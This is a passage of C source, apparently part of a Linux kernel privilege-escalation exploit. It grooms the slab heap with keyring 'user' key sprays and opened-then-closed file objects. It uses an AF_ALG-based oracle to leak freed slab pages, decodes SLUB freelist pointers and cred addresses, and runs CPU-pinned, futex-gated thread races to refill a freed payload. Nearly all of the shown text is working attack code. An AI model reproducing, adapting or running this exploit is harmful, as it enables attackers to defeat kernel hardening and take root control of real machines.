           " chunks=%zu allocation_errno=%d reached_reserve=%d\n",
           pressure->before_kib, pressure->after_kib, pressure->reserve_kib,
           pressure->mapped_bytes, pressure->faulted_pages, pressure->count,
           pressure->allocation_errno,
           pressure->after_kib <= pressure->reserve_kib);
    fflush(stdout);
    if (pressure->after_kib > pressure->reserve_kib)
        return pressure->allocation_errno ? -pressure->allocation_errno :
               -ENOSPC;
    return 0;
}

static int build_payload_freelist_plan(struct gap_plan *plan)
{
    size_t targets[H_USER_PAYLOAD_OBJECTS_PER_SLAB];
    size_t i;
    for (i = 0; i < ARRAY_SIZE(targets); i++)
        targets[i] = i * H_USER_PAYLOAD_BUCKET + H_USER_PAYLOAD_FREEPTR;
    return build_target_plan(targets, ARRAY_SIZE(targets), 4096, plan);
}

static int build_filp_cred_plan(struct gap_plan *plan)
{
    size_t targets[H_FILES_PER_ORDER0_SLAB];
    size_t i;
    for (i = 0; i < ARRAY_SIZE(targets); i++)
        targets[i] = i * H_FILE_STRIDE + H_FILE_CRED;
    return build_target_plan(targets, ARRAY_SIZE(targets), 4096, plan);
}

static int write_serial_file(const char *path, const key_serial_t *serials,
                             size_t count)
{
    FILE *f = fopen(path, "w");
    size_t i;
    if (!f)
        return -errno;
    for (i = 0; i < count; i++)
        if (fprintf(f, "%d\n", serials[i]) < 0) {
            int rc = errno ? -errno : -EIO;
            fclose(f);
            return rc;
        }
    if (fclose(f) != 0)
        return -errno;
    return 0;
}

static int read_serial_file(const char *path, key_serial_t **serials,
                            size_t *count)
{
    FILE *f = fopen(path, "r");
    key_serial_t *list = NULL;
    size_t used = 0, cap = 0;
    long value;
    if (!f)
        return -errno;
    while (fscanf(f, "%ld", &value) == 1) {
        key_serial_t *next;
        if (value < INT32_MIN || value > INT32_MAX) {
            fclose(f); free(list); return -ERANGE;
        }
        if (used == cap) {
            cap = cap ? cap * 2 : 16;
            next = realloc(list, cap * sizeof(*list));
            if (!next) {
                fclose(f); free(list); return -ENOMEM;
            }
            list = next;
        }
        list[used++] = (key_serial_t)value;
    }
    if (ferror(f)) {
        int rc = errno ? -errno : -EIO;
        fclose(f); free(list); return rc;
    }
    fclose(f);
    if (!used) {
        free(list); return -ENODATA;
    }
    *serials = list;
    *count = used;
    return 0;
}

static int scan_filp_cred(const unsigned char page[4096], uint64_t *best,
                          unsigned int *hits)
{
    uint64_t values[H_FILES_PER_ORDER0_SLAB];
    unsigned int counts[H_FILES_PER_ORDER0_SLAB] = {0};
    unsigned int i, j, max = 0; uint64_t candidate = 0;
    for (i = 0; i < H_FILES_PER_ORDER0_SLAB; i++)
        values[i] = get_u64(page + i * H_FILE_STRIDE + H_FILE_CRED);
    for (i = 0; i < H_FILES_PER_ORDER0_SLAB; i++) {
        if (!is_slab_pointer(values[i])) continue;
        for (j = 0; j < H_FILES_PER_ORDER0_SLAB; j++)
            counts[i] += values[j] == values[i];
        if (counts[i] > max) { max = counts[i]; candidate = values[i]; }
    }
    if (max < 4) return -ENOENT;
    *best = candidate; *hits = max; return 0;
}

static void extract_freelist_words(const unsigned char page[4096],
                                   uint64_t enc[H_USER_PAYLOAD_OBJECTS_PER_SLAB])
{
    int i;
    for (i = 0; i < H_USER_PAYLOAD_OBJECTS_PER_SLAB; i++)
        enc[i] = get_u64(page + i * H_USER_PAYLOAD_BUCKET +
                         H_USER_PAYLOAD_FREEPTR);
}

static int make_trainer_page(const char *path)
{
    const uint64_t base = UINT64_C(0xfffffe90e50db000);
    const uint64_t random = UINT64_C(0x6d3173f9ac842b10);
    uint64_t enc[H_USER_PAYLOAD_OBJECTS_PER_SLAB];
    unsigned char page[4096];
    int i;

    memset(page, 0xa6, sizeof(page));
    make_synthetic_freelist(base, random, enc);
    for (i = 0; i < H_USER_PAYLOAD_OBJECTS_PER_SLAB; i++)
        put_u64(page + i * H_USER_PAYLOAD_BUCKET +
                H_USER_PAYLOAD_FREEPTR, enc[i]);
    return write_exact_file(path, page, sizeof(page));
}

static int retire_and_leak_payloads(size_t count, unsigned int attempts,
                                    useconds_t delay, const char *fake_path,
                                    const char *output)
{
    unsigned char fake[H_DIRECT_FAKE_BYTES], one = 0;
    unsigned char *record = NULL, *last = NULL;
    key_serial_t *serials = NULL;
    struct gap_plan plan;
    int ring = -1, rc;
    unsigned int a;

    if (count < H_USER_PAYLOAD_OBJECTS_PER_SLAB || !attempts)
        return -EINVAL;
    rc = read_exact_file(fake_path, fake, sizeof(fake));
    if (rc)
        return rc;
    rc = build_payload_freelist_plan(&plan);
    if (rc)
        return rc;
    ring = create_keyring("retire", KEY_SPEC_PROCESS_KEYRING);
    if (ring < 0)
        return ring;
    serials = calloc(count, sizeof(*serials));
    if (!serials) {
        rc = -ENOMEM;
        goto out;
    }
    rc = spray_carriers(ring, count, fake, serials);
    if (rc)
        goto out;
    for (size_t i = 0; i < count; i++) {
        rc = update_payload(serials[i], &one, 1);
        if (rc)
            goto out;
    }
    rc = global_rcu_gp();
    if (rc)
        goto out;
    /* synchronize_rcu is not rcu_barrier; this merely gives callbacks a turn. */
    usleep(20000);

    for (a = 0; a < attempts; a++) {
        uint64_t enc[H_USER_PAYLOAD_OBJECTS_PER_SLAB];
        struct freelist_solution sol;
        size_t length = 0;
        free(record); record = NULL;
        rc = afalg_plan_record(&plan, delay, &record, &length);
        if (rc)
            goto out;
        free(last); last = record; record = NULL;
        if (length < 4096)
            continue;
        extract_freelist_words(last, enc);
        if (solve_freelist(enc, &sol) == 0) {
            rc = write_exact_file(output, last, 4096);
            if (!rc)
                printf("ORACLE_FREELIST_HIT attempt=%u base=%#" PRIx64
                       " random=%#" PRIx64 " output=%s\n",
                       a + 1, sol.base, sol.random, output);
            goto out;
        }
    }
    rc = last ? write_exact_file(output, last, 4096) : -ENODATA;
    if (!rc) {
        fprintf(stderr,
                "ORACLE_FREELIST_MISS attempts=%u last_record=%s "
                "gate=retired_virtual_slab_capture\n", attempts, output);
        rc = -ENOENT;
    }
out:
    if (ring >= 0) {
        (void)keyctl_raw(KEYCTL_CLEAR, (unsigned long)ring, 0, 0, 0);
        (void)keyctl_raw(KEYCTL_REVOKE, (unsigned long)ring, 0, 0, 0);
        (void)keyctl_raw(KEYCTL_UNLINK, (unsigned long)ring,
                         (unsigned long)KEY_SPEC_PROCESS_KEYRING, 0, 0);
    }
    free(record); free(last); free(serials);
    return rc;
}

static int retire_and_leak_filps(size_t count, unsigned int attempts,
                                 useconds_t delay, const char *output)
{
    int *fds = NULL, rc = 0;
    unsigned char *record = NULL, *last = NULL;
    struct gap_plan plan;
    unsigned int a;

    if (count < H_FILES_PER_ORDER0_SLAB || !attempts)
        return -EINVAL;
    rc = build_filp_cred_plan(&plan);
    if (rc)
        return rc;
    fds = calloc(count, sizeof(*fds));
    if (!fds)
        return -ENOMEM;
    for (size_t i = 0; i < count; i++) {
        fds[i] = open("/dev/null", O_RDONLY | O_CLOEXEC);
        if (fds[i] < 0) { rc = -errno; count = i; goto close_files; }
    }
close_files:
    for (size_t i = 0; i < count; i++)
        close(fds[i]);
    free(fds); fds = NULL;
    if (rc)
        goto out;
    rc = global_rcu_gp();
    if (rc)
        goto out;
    usleep(20000);

    for (a = 0; a < attempts; a++) {
        uint64_t cred;
        unsigned int hits;
        size_t length = 0;
        free(record); record = NULL;
        rc = afalg_plan_record(&plan, delay, &record, &length);
        if (rc)
            goto out;
        free(last); last = record; record = NULL;
        if (length < 4096)
            continue;
        if (scan_filp_cred(last, &cred, &hits) == 0) {
            rc = write_exact_file(output, last, 4096);
            if (!rc)
                printf("ORACLE_FILP_HIT attempt=%u cred=%#" PRIx64
                       " hits=%u output=%s\n", a + 1, cred, hits, output);
            goto out;
        }
    }
    rc = last ? write_exact_file(output, last, 4096) : -ENODATA;
    if (!rc) {
        fprintf(stderr,
                "ORACLE_FILP_MISS attempts=%u last_record=%s "
                "gate=retired_filp_page_capture\n", attempts, output);
        rc = -ENOENT;
    }
out:
    free(record); free(last); free(fds);
    return rc;
}

struct k2_prep_gate;

struct race_ctx {
    key_serial_t source_ring;
    key_serial_t destination_ring;
    key_serial_t spray_ring;
    key_serial_t holding_ring;
    key_serial_t quota_ring;
    key_serial_t *initial_serials;
    size_t initial_count;
    key_serial_t *spray_serials;
    size_t spray_count;
    uint64_t *baseline_markers;
    const unsigned char *fake;
    const char *search_type;
    const char *search_description;
    int cpu;
    unsigned int timeout_ms;
    atomic_int search_started;
    atomic_int search_done;
    atomic_int search_stop;
    atomic_uint search_attempts;
    atomic_int blocker_run;
    atomic_int blocker_started;
    atomic_int blocker_done;
    atomic_int blocker_inflight;
    atomic_uint blocker_reads;
    atomic_int spinner_run;
    atomic_int spinner_ready;
    atomic_int prep_target_ready;
    atomic_int prep_primary_logged;
    atomic_int prep_runtime_ready;
    long search_result;
    int search_errno;
    unsigned long long search_cap_after;
    int search_flag_rc;
    int sched_rc;
    long blocker_result;
    int blocker_errno;
    int blocker_sched_rc;
    int blocker_demote_rc;
    pid_t blocker_tid;
    pid_t blocker_tids[K2_BLOCKER_THREADS];
    atomic_uint blocker_tid_count;
    pid_t search_tid;
    int spinner_sched_rc;
    int owner_index;
    int update_rc;
    int gp_rc;
    int spray_rc;
    unsigned int destination_entries;
    unsigned int quota_links;
    bool quota_packed;
    bool repeat_search;
    bool blocker_prearmed;
    bool trace_critical;
    struct k2_prep_gate *prep_gate;
};

struct k2_prep_worker_arg {
    struct k2_prep_gate *gate;
    unsigned int id;
};

struct k2_prep_subgate_arg {
    struct k2_prep_gate *gate;
    unsigned int group;
};

static unsigned int k2_prep_group_first(unsigned int group)
{
    if (group == K2_PREP_PREFIX_GATE)
        return 0U;
    return K2_PREP_PREFIX_WORKERS +
           (group - K2_PREP_CRITICAL_FIRST_GATE) *
           K2_PREP_CRITICAL_GROUP_SIZE;
}

static unsigned int k2_prep_group_count(unsigned int group)
{
    unsigned int first;
    unsigned int remaining;

    if (group == K2_PREP_PREFIX_GATE)
        return K2_PREP_PREFIX_WORKERS;
    first = k2_prep_group_first(group);
    if (first >= K2_PREP_WORKERS)
        return 0;
    remaining = K2_PREP_WORKERS - first;
    return remaining < K2_PREP_CRITICAL_GROUP_SIZE ? remaining :
           K2_PREP_CRITICAL_GROUP_SIZE;
}

static unsigned int k2_prep_group_for_worker(unsigned int id)
{
    if (id < K2_PREP_PREFIX_WORKERS)
        return K2_PREP_PREFIX_GATE;
    return K2_PREP_CRITICAL_FIRST_GATE +
           (id - K2_PREP_PREFIX_WORKERS) /
           K2_PREP_CRITICAL_GROUP_SIZE;
}

struct k2_prep_gate {
    key_serial_t rings[K2_PREP_GATES];
    key_serial_t dummy_serial;
    key_serial_t carriers[K2_PREP_WORKERS];
    unsigned char fake[H_DIRECT_FAKE_BYTES];
    int allocation_cpu;
    int search_cpu;
    bool development_mode;
    unsigned int entries[K2_PREP_GATES];
    atomic_int worker_go[K2_PREP_GATES];
    atomic_int worker_go_by_id[K2_PREP_WORKERS];
    atomic_int group_armed[K2_PREP_GATES];
    atomic_int worker_ready;
    atomic_int worker_done;
    atomic_uint allocation_seq;
    atomic_uint seq_to_worker[K2_PREP_WORKERS];
    atomic_int target_id;
    atomic_int target_freed;
    atomic_int target_refilled;
    atomic_int reader_run[K2_PREP_GATES];
    atomic_int reader_started[K2_PREP_GATES];
    atomic_int reader_inflight[K2_PREP_GATES];
    atomic_uint reader_reads[K2_PREP_GATES];
    atomic_uint reader_tid_count[K2_PREP_GATES];
    atomic_int spinner_state;
    atomic_int spinner_ready;
    atomic_int guard_state;
    atomic_int guard_ready;
    atomic_uint guard_tid_count;
    atomic_int dummy_started[K2_PREP_GATES];
    atomic_int dummy_done[K2_PREP_GATES];
    atomic_int dummy_stop[K2_PREP_GATES];
    atomic_int dummy_incall[K2_PREP_GATES];
    atomic_uint dummy_attempts[K2_PREP_GATES];
    pid_t reader_tids[K2_PREP_GATES][K2_PREP_READERS_PER_GATE];
    pid_t spinner_tid;
    pid_t guard_tids[K2_PREP_GUARDS];
    pid_t dummy_tids[K2_PREP_GATES];
    pid_t worker_tids[K2_PREP_WORKERS];
    long worker_add_result[K2_PREP_WORKERS];
    int worker_add_errno[K2_PREP_WORKERS];
    int worker_update_rc[K2_PREP_WORKERS];
    int worker_affinity_rc[K2_PREP_WORKERS];
    int target_update_rc;
    long reader_result[K2_PREP_GATES];
    int reader_errno[K2_PREP_GATES];
    int reader_sched_rc[K2_PREP_GATES];
    long dummy_result[K2_PREP_GATES];
    int dummy_errno[K2_PREP_GATES];
    int dummy_affinity_rc[K2_PREP_GATES];
    int spinner_affinity_rc;
    int guard_affinity_rc;
    pthread_t reader_threads[K2_PREP_GATES][K2_PREP_READERS_PER_GATE];
    pthread_t dummy_threads[K2_PREP_GATES];
    pthread_t spinner_thread;
    pthread_t guard_threads[K2_PREP_GUARDS];
    pthread_t worker_threads[K2_PREP_WORKERS];
    struct k2_prep_worker_arg worker_args[K2_PREP_WORKERS];
    struct k2_prep_subgate_arg reader_args[K2_PREP_READERS_TOTAL];
    struct k2_prep_subgate_arg dummy_args[K2_PREP_GATES];
};

static int pin_current_thread(int cpu)
{
    cpu_set_t set;
    if (cpu < 0)
        return 0;
    if (cpu >= CPU_SETSIZE)
        return -EINVAL;
    CPU_ZERO(&set);
    CPU_SET(cpu, &set);
    return sched_setaffinity(0, sizeof(set), &set) < 0 ? -errno : 0;
}

static int pin_tid_to_cpu(pid_t tid, int cpu)
{
    cpu_set_t set;

    if (cpu < 0 || cpu >= CPU_SETSIZE)
        return -EINVAL;
    CPU_ZERO(&set);
    CPU_SET(cpu, &set);
    return sched_setaffinity(tid, sizeof(set), &set) < 0 ? -errno : 0;
}

static int futex_wait_atomic(atomic_int *word, int expected)
{
    long rc = syscall(SYS_futex, word, FUTEX_WAIT_PRIVATE, expected,
                      NULL, NULL, 0);

    return rc < 0 && errno != EAGAIN && errno != EINTR ? -errno : 0;
}

static void futex_wake_atomic(atomic_int *word, int count)
{
    (void)syscall(SYS_futex, word, FUTEX_WAKE_PRIVATE, count,
                  NULL, NULL, 0);
}

static int read_task_wchan(pid_t tid, char *buffer, size_t capacity)
{
    char path[128];
    FILE *file;

    if (!buffer || capacity < 2)
        return -EINVAL;
    snprintf(path, sizeof(path), "/proc/self/task/%ld/wchan", (long)tid);
    file = fopen(path, "r");
    if (!file)
        return -errno;
    if (!fgets(buffer, capacity, file)) {
        int rc = ferror(file) ? -EIO : -ENODATA;
        fclose(file);
        return rc;
    }
    fclose(file);
    buffer[strcspn(buffer, "\r\n")] = '\0';
    return 0;
}

static int pipe_write_all(int fd, const unsigned char *buffer, size_t length)
{
    size_t done = 0;
    while (done < length) {
        ssize_t n = write(fd, buffer + done, length - done);
        if (n <= 0)
            return n < 0 ? -errno : -EIO;
        done += (size_t)n;
    }
    return 0;
}

static int pipe_read_all(int fd, unsigned char *buffer, size_t length)
{
    size_t done = 0;
    while (done < length) {
        ssize_t n = read(fd, buffer + done, length - done);
        if (n <= 0)
            return n < 0 ? -errno : -EIO;
        done += (size_t)n;
    }
    return 0;
}

static void make_public_control_seed(unsigned char page[4096],
                                     unsigned int attempt)
{
    for (unsigned int word = 0; word < 4096 / 8; word++) {
        uint64_t value = UINT64_C(0x4b32435400000000) ^
                         ((uint64_t)attempt << 32) ^
                         ((uint64_t)word * UINT64_C(0x9e3779b97f4a7c15));
        put_u64(page + word * 8, value);
    }
}

struct public_seed_context {
    unsigned char seed[4096];
    unsigned char drained[4096];
    unsigned int attempt;
};

static int seed_and_drain_pipe_page(void *context)
{
    struct public_seed_context *seed_context = context;
    int pfd[2] = {-1, -1};
    int rc;

    make_public_control_seed(seed_context->seed, seed_context->attempt);
    if (pipe(pfd) < 0)
        return -errno;
#ifdef F_SETPIPE_SZ
    (void)fcntl(pfd[1], F_SETPIPE_SZ, 4096);
#endif
    rc = pipe_write_all(pfd[1], seed_context->seed,
                        sizeof(seed_context->seed));
    if (!rc)
        rc = pipe_read_all(pfd[0], seed_context->drained,
                           sizeof(seed_context->drained));
    close(pfd[0]);
    close(pfd[1]);
    if (!rc && memcmp(seed_context->seed, seed_context->drained,
                      sizeof(seed_context->seed)) != 0)
        rc = -EIO;
    return rc;
}

static int run_public_freelist_control(int cpu, unsigned int attempts,
                                       useconds_t delay, const char *output)
{
    unsigned char *record = NULL, *last = NULL;
    struct public_seed_context seed_context = {0};
    struct gap_plan plan;
    unsigned int best = 0;
    int rc;

    if (!attempts)
        return -EINVAL;
    rc = pin_current_thread(cpu);
    if (rc)
        return rc;
    rc = build_payload_freelist_plan(&plan);
    if (rc)
        return rc;
    printf("PUBLIC_CONTROL_BEGIN support_only=1 cpu=%d attempts=%u "
           "delay_us=%u gaps=%zu request=%zu expected_return=%zu\n",
           cpu, attempts, (unsigned int)delay, plan.count,
           plan.request_len, plan.expected_return);
    fflush(stdout);

    for (unsigned int attempt = 1; attempt <= attempts; attempt++) {
        size_t length = 0;
        unsigned int matches = 0;

        free(record);
        record = NULL;
        seed_context.attempt = attempt;
        rc = afalg_plan_record_inner(&plan, delay, &record, &length,
                                     seed_and_drain_pipe_page,
                                     &seed_context);
        if (rc)
            goto out;
        free(last);
        last = record;
        record = NULL;
        if (length < 4096)
            continue;
        for (unsigned int slot = 0;
             slot < H_USER_PAYLOAD_OBJECTS_PER_SLAB; slot++) {
            size_t off = slot * H_USER_PAYLOAD_BUCKET +
                         H_USER_PAYLOAD_FREEPTR;
            if (memcmp(last + off, seed_context.seed + off, 8) == 0)
                matches++;
        }
        if (matches > best)
            best = matches;
        if (matches == H_USER_PAYLOAD_OBJECTS_PER_SLAB) {
            rc = write_exact_file(output, last, 4096);
            if (!rc)
                printf("PUBLIC_CONTROL_HIT support_only=1 attempt=%u "
                       "matched_windows=%u output=%s\n",
                       attempt, matches, output);
            goto out;
        }
    }
    rc = last ? write_exact_file(output, last, 4096) : -ENODATA;
    if (!rc) {
        fprintf(stderr,
                "PUBLIC_CONTROL_MISS support_only=1 attempts=%u "
                "best_matched_windows=%u last_record=%s\n",
                attempts, best, output);
        rc = -ENOENT;
    }
out:
    free(record);
    free(last);
    return rc;
}

static uint64_t monotonic_msec(void)
{
    struct timespec ts;
    clock_gettime(CLOCK_MONOTONIC, &ts);
    return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}

static bool panic_on_oops_disabled(void)
{
    FILE *file = fopen("/proc/sys/kernel/panic_on_oops", "r");
    int value = 1;

    if (!file)
        return false;
    if (fscanf(file, "%d", &value) != 1)
        value = 1;
    fclose(file);
    return value == 0;
}

static void dev_report_key_users(const char *stage)
{
    FILE *file;
    char line[512];
    unsigned long wanted = (unsigned long)getuid();

    if (!panic_on_oops_disabled())
        return;
    file = fopen("/proc/key-users", "r");
    if (!file) {
        printf("PREP_KEY_USERS stage=%s open_errno=%d\n", stage, errno);
        fflush(stdout);
        return;
    }
    while (fgets(line, sizeof(line), file)) {
        unsigned long found;

        if (sscanf(line, " %lu:", &found) == 1 && found == wanted) {
            line[strcspn(line, "\r\n")] = '\0';
            printf("PREP_KEY_USERS stage=%s uid=%lu raw=%s\n",
                   stage, wanted, line);
            fclose(file);
            fflush(stdout);
            return;
        }
    }
    fclose(file);
    printf("PREP_KEY_USERS stage=%s uid=%lu missing=1\n", stage, wanted);
    fflush(stdout);
}

static void dev_trace_toggle(bool enable)
{
    int fd = open("/sys/kernel/tracing/tracing_on", O_WRONLY | O_CLOEXEC);
    const char value = enable ? '1' : '0';
    ssize_t written;

    if (fd < 0)
        return;
    written = write(fd, &value, 1);
    (void)written;
    close(fd);
}

static void dev_trace_dump_buffer(void)
{
    FILE *file = fopen("/sys/kernel/tracing/trace", "r");
    char line[512];

    if (!file)
        return;
    dev_trace_toggle(false);
    puts("DEV_K2_TRACE_DUMP_BEGIN");
    while (fgets(line, sizeof(line), file))
        fputs(line, stdout);
    puts("DEV_K2_TRACE_DUMP_END");
    fflush(stdout);
    fclose(file);
}

static void dev_trace_filter_target(uint64_t payload)
{
    static const struct {
        const char *path;
        const char *field;
    } filters[] = {
        {"/sys/kernel/tracing/events/kprobes/k2_preparse_free/filter",
         "old_payload"},
        {"/sys/kernel/tracing/events/kprobes/k2_user_update/filter",
         "new_payload"},
        {"/sys/kernel/tracing/events/kprobes/k2_user_free/filter",
         "old_payload"},
    };
    uint64_t page = payload & ~UINT64_C(0xfff);
    bool installed = false;

    for (size_t i = 0; i < ARRAY_SIZE(filters); i++) {
        char expression[96];
        ssize_t written;
        int fd = open(filters[i].path, O_WRONLY | O_CLOEXEC);

        if (fd < 0)
            continue;
        snprintf(expression, sizeof(expression),
                 "%s >= %#" PRIx64 " && %s < %#" PRIx64,
                 filters[i].field, page, filters[i].field, page + 0x1000);
        written = write(fd, expression, strlen(expression));
        if (written == (ssize_t)strlen(expression))
            installed = true;
        close(fd);
    }
    if (installed) {
        printf("DEV_TRACE_TARGET_PAGE base=%#" PRIx64 " end=%#" PRIx64
               " payload=%#" PRIx64 "\n",
               page, page + 0x1000, payload);
        fflush(stdout);
    }
}

static void *k2_prep_spinner_worker(void *opaque)
{
    struct k2_prep_gate *gate = opaque;

    gate->spinner_tid = (pid_t)syscall(SYS_gettid);
    gate->spinner_affinity_rc = pin_current_thread(gate->search_cpu);
    atomic_store_explicit(&gate->spinner_ready, 1, memory_order_release);
    for (;;) {
        int state = atomic_load_explicit(&gate->spinner_state,
                                         memory_order_acquire);

        if (state < 0)
            break;
        if (state == 0) {
            (void)futex_wait_atomic(&gate->spinner_state, 0);
            continue;
        }
        __asm__ __volatile__("pause" ::: "memory");
    }
    return NULL;
}

static void *k2_prep_guard_worker(void *opaque)
{
    struct k2_prep_gate *gate = opaque;
    unsigned int index = atomic_fetch_add_explicit(
        &gate->guard_tid_count, 1, memory_order_acq_rel);

    if (index < K2_PREP_GUARDS)
        gate->guard_tids[index] = (pid_t)syscall(SYS_gettid);
    gate->guard_affinity_rc = pin_current_thread(gate->allocation_cpu);
    atomic_fetch_add_explicit(&gate->guard_ready, 1,
                              memory_order_release);
    while (atomic_load_explicit(&gate->guard_state,
                                memory_order_acquire) > 0)
        __asm__ __volatile__("pause" ::: "memory");
    return NULL;
}

static void *k2_prep_reader_worker(void *opaque)
{
    struct k2_prep_subgate_arg *arg = opaque;
    struct k2_prep_gate *gate = arg->gate;
    unsigned int group = arg->group;
    key_serial_t serials[1024];
    unsigned int index = atomic_fetch_add_explicit(
        &gate->reader_tid_count[group], 1, memory_order_acq_rel);

    if (index < K2_PREP_READERS_PER_GATE)
        gate->reader_tids[group][index] = (pid_t)syscall(SYS_gettid);
    gate->reader_sched_rc[group] = pin_current_thread(gate->search_cpu);
    if (!gate->reader_sched_rc[group] &&
        setpriority(PRIO_PROCESS, 0, 19) < 0)
        gate->reader_sched_rc[group] = -errno;
    atomic_fetch_add_explicit(&gate->reader_started[group], 1,
                              memory_order_release);
    if (gate->reader_sched_rc[group])
        return NULL;

    while (atomic_load_explicit(&gate->reader_run[group],
                                memory_order_acquire)) {
        atomic_fetch_add_explicit(&gate->reader_inflight[group], 1,
                                  memory_order_acq_rel);
        errno = 0;
        gate->reader_result[group] = keyctl_raw(
            KEYCTL_READ, (unsigned long)gate->rings[group],
            (unsigned long)serials, sizeof(serials), 0);
        gate->reader_errno[group] =
            gate->reader_result[group] < 0 ? errno : 0;
        atomic_fetch_sub_explicit(&gate->reader_inflight[group], 1,
                                  memory_order_acq_rel);
        if (gate->reader_result[group] < 0 ||
            gate->reader_result[group] !=
                (long)(gate->entries[group] * sizeof(key_serial_t)))
            break;
        atomic_fetch_add_explicit(&gate->reader_reads[group], 1,
                                  memory_order_release);
    }
    return NULL;
}

static void *k2_prep_dummy_worker(void *opaque)
{
    struct k2_prep_subgate_arg *arg = opaque;
    struct k2_prep_gate *gate = arg->gate;
    unsigned int group = arg->group;

    gate->dummy_tids[group] = (pid_t)syscall(SYS_gettid);
    gate->dummy_affinity_rc[group] =
        pin_current_thread(gate->allocation_cpu);
    atomic_store_explicit(&gate->dummy_started[group], 1,
                          memory_order_release);
    if (gate->dummy_affinity_rc[group])
        goto done;
    do {
        atomic_store_explicit(&gate->dummy_incall[group], 1,
                              memory_order_release);
        errno = 0;
        gate->dummy_result[group] = keyctl_raw(
            KEYCTL_LINK, (unsigned long)gate->dummy_serial,
            (unsigned long)gate->rings[group], 0, 0);
        gate->dummy_errno[group] =
            gate->dummy_result[group] < 0 ? errno : 0;
        atomic_store_explicit(&gate->dummy_incall[group], 0,
                              memory_order_release);
        atomic_fetch_add_explicit(&gate->dummy_attempts[group], 1,
                                  memory_order_release);
        if (!atomic_load_explicit(&gate->dummy_stop[group],
                                  memory_order_acquire))
            usleep(20);
    } while (!atomic_load_explicit(&gate->dummy_stop[group],
                                   memory_order_acquire));
done:
    atomic_store_explicit(&gate->dummy_done[group], 1,
                          memory_order_release);
    return NULL;
}

static void *k2_prep_payload_worker(void *opaque)
{
    struct k2_prep_worker_arg *arg = opaque;
    struct k2_prep_gate *gate = arg->gate;
    unsigned int id = arg->id;
    unsigned int group = k2_prep_group_for_worker(id);
    unsigned int seq;
    unsigned char worker_fake[H_DIRECT_FAKE_BYTES];
    char description[64];
    int rc;

    gate->worker_tids[id] = (pid_t)syscall(SYS_gettid);
    atomic_fetch_add_explicit(&gate->worker_ready, 1, memory_order_release);
    while (!atomic_load_explicit(&gate->worker_go_by_id[id],
                                 memory_order_acquire)) {
        rc = futex_wait_atomic(&gate->worker_go_by_id[id], 0);
        if (rc) {
            gate->worker_add_result[id] = -1;
            gate->worker_add_errno[id] = -rc;
            atomic_fetch_add_explicit(&gate->worker_done, 1,
                                      memory_order_release);
            return NULL;
        }
    }
    gate->worker_affinity_rc[id] =
        pin_current_thread(gate->allocation_cpu);
    seq = atomic_fetch_add_explicit(&gate->allocation_seq, 1,
                                    memory_order_acq_rel);
    if (seq >= K2_PREP_WORKERS ||
        seq < k2_prep_group_first(group) ||
        seq >= k2_prep_group_first(group) +
               k2_prep_group_count(group)) {
        gate->worker_add_result[id] = -1;
        gate->worker_add_errno[id] = EOVERFLOW;
        atomic_fetch_add_explicit(&gate->worker_done, 1,
                                  memory_order_release);
        return NULL;
    }
    atomic_store_explicit(&gate->seq_to_worker[seq], id,
                          memory_order_release);
    memcpy(worker_fake, gate->fake, sizeof(worker_fake));
    put_u32(worker_fake + 4, K2_PREP_SERIAL_BASE | (seq + 1U));
    snprintf(description, sizeof(description), "k2-prep-%ld-%u",
             (long)getpid(), id);
    for (;;) {
        errno = 0;
        gate->worker_add_result[id] =
            add_key_raw("user", description, worker_fake,
                        sizeof(worker_fake), gate->rings[group]);
        gate->worker_add_errno[id] =
            gate->worker_add_result[id] < 0 ? errno : 0;
        if (atomic_load_explicit(&gate->group_armed[group],
                                 memory_order_acquire))
            break;
        usleep(20);
    }
    if (atomic_load_explicit(&gate->target_id,
                             memory_order_acquire) == (int)id) {
        atomic_store_explicit(&gate->target_freed, 1,
                              memory_order_release);
        futex_wake_atomic(&gate->target_freed, INT_MAX);
        /* The failed add just kfree_sensitive()'d this worker's preparsed
         * payload.  Refill from this same thread before another writer can
         * replace the CPU sheaf's LIFO head. */
        gate->worker_update_rc[id] =
            update_carrier(gate->carriers[0], gate->fake);
        gate->target_update_rc = gate->worker_update_rc[id];
        atomic_store_explicit(&gate->target_refilled, 1,
                              memory_order_release);
        futex_wake_atomic(&gate->target_refilled, INT_MAX);
    }
    atomic_fetch_add_explicit(&gate->worker_done, 1, memory_order_release);
    return NULL;
}

static int k2_prep_gate_prepare(struct k2_prep_gate *gate,
                                const key_serial_t *carriers,
                                size_t carrier_count,
                                const unsigned char fake[H_DIRECT_FAKE_BYTES],
                                const char *forbidden_description,
                                int allocation_cpu, int search_cpu)
{
    pthread_attr_t attr;
    unsigned char dummy_payload = 0x5c;
    char dummy_description[64];
    uint64_t deadline;
    unsigned int created = 0;
    int rc, prc;

    if (!gate || carrier_count < K2_PREP_LINKED_CARRIERS)
        return -EINVAL;
    (void)forbidden_description;
    memset(gate, 0, sizeof(*gate));
    atomic_store(&gate->target_id, -1);
    for (unsigned int i = 0; i < K2_PREP_WORKERS; i++)
        atomic_store(&gate->seq_to_worker[i], UINT_MAX);
    gate->dummy_serial = -1;
    gate->allocation_cpu = allocation_cpu;
    gate->search_cpu = search_cpu;
    gate->development_mode = panic_on_oops_disabled();
    for (unsigned int group = 0; group < K2_PREP_GATES; group++)
        gate->rings[group] = -1;
    for (unsigned int i = 0; i < K2_PREP_WORKERS; i++)
        gate->carriers[i] = carriers[i % carrier_count];
    memcpy(gate->fake, fake, sizeof(gate->fake));
    if (gate->development_mode)
        dev_report_key_users("before-gates");

    for (unsigned int group = 0; group < K2_PREP_GATES; group++) {
        gate->rings[group] = create_keyring("preparse-destination",
                                            KEY_SPEC_PROCESS_KEYRING);
        if (gate->rings[group] < 0)
            return gate->rings[group];
        for (unsigned int i = 0; i < K2_PREP_LINKED_CARRIERS; i++) {
            if (keyctl_raw(KEYCTL_LINK,
                           (unsigned long)gate->carriers[i],
                           (unsigned long)gate->rings[group], 0, 0) < 0)
                return -errno;
            gate->entries[group]++;
        }
        if (keyctl_raw(KEYCTL_RESTRICT_KEYRING,
                       (unsigned long)gate->rings[group], 0, 0, 0) < 0)
            return -errno;
    }

    snprintf(dummy_description, sizeof(dummy_description),
             "k2-prep-dummy-%ld", (long)getpid());
    gate->dummy_serial = (key_serial_t)add_key_raw(
        "user", dummy_description, &dummy_payload, sizeof(dummy_payload),
        KEY_SPEC_PROCESS_KEYRING);
    if (gate->dummy_serial < 0)
        return -errno;
    if (gate->development_mode)
        dev_report_key_users("after-gates");

    prc = pthread_attr_init(&attr);
    if (prc)
        return -prc;
    prc = pthread_attr_setstacksize(&attr, 64 * 1024);
    if (prc) {
